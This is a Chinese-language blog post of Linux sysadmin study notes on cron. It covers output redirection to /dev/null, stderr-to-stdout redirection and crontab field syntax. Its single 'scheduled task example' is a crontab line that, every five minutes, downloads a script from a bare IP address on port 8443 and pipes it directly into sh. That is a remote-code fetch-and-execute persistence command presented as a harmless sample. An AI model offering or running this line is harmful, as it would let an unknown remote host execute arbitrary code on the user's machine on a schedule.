• Linux运维学习笔记-定时任务知识总结


    定时任务编辑规范流程:

     

    重要知识点:

    切记用全路径编写定时脚本、定时任务

    大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?

    > 是重定向
    /dev/null 代表空设备文件
    1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
    2 表示stderr标准错误
    & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

    整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

    &>/dev/null  即不管输出是什么都从定向到/dev/null

    command > file 2>file command > file 2>&1 有什么区别呢?

    command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会用command > file 2>&1 这样的写法。

    定时任务语法:

    01   *    *      *      *      cmd

    分    时    日    月    周    任务

    crontab语法格式中时间段的含义如下表

    含义

    取值范围(整数)

    第一段

    代表分钟

    00 – 59 (00也可以是0)

    第二段

    代表小时

    00 – 23

    第三段

    代表日,天

    01 – 31

    第四段

    代表月份

    01 – 12

    第五段

    代表星期,周几

    0 -7(0和7都代表星期日)

    提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)

    定时任务编辑位置:/etc/crontab

    编辑定时任务:crontab -e

    查看当前用户定时任务:crontab -l

    定时任务例子:

    */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

  • 相关阅读:
    进程与线程
    软件过程2
    软件过程
    解决charles中options请求map local失败的问题
    工作心得
    II第七章:(1)Zuul路由网关
    II第九章:(1)Bus消息总线
    II第十一章:(1)Sleuth分布式请求链路跟踪
    II第八章:(1)Config分布式配置中心
    II第七章:(2)Gateway新一代网关
  • 原文地址:https://www.cnblogs.com/tcheng/p/8595313.html
Copyright © 2020-2023  润新知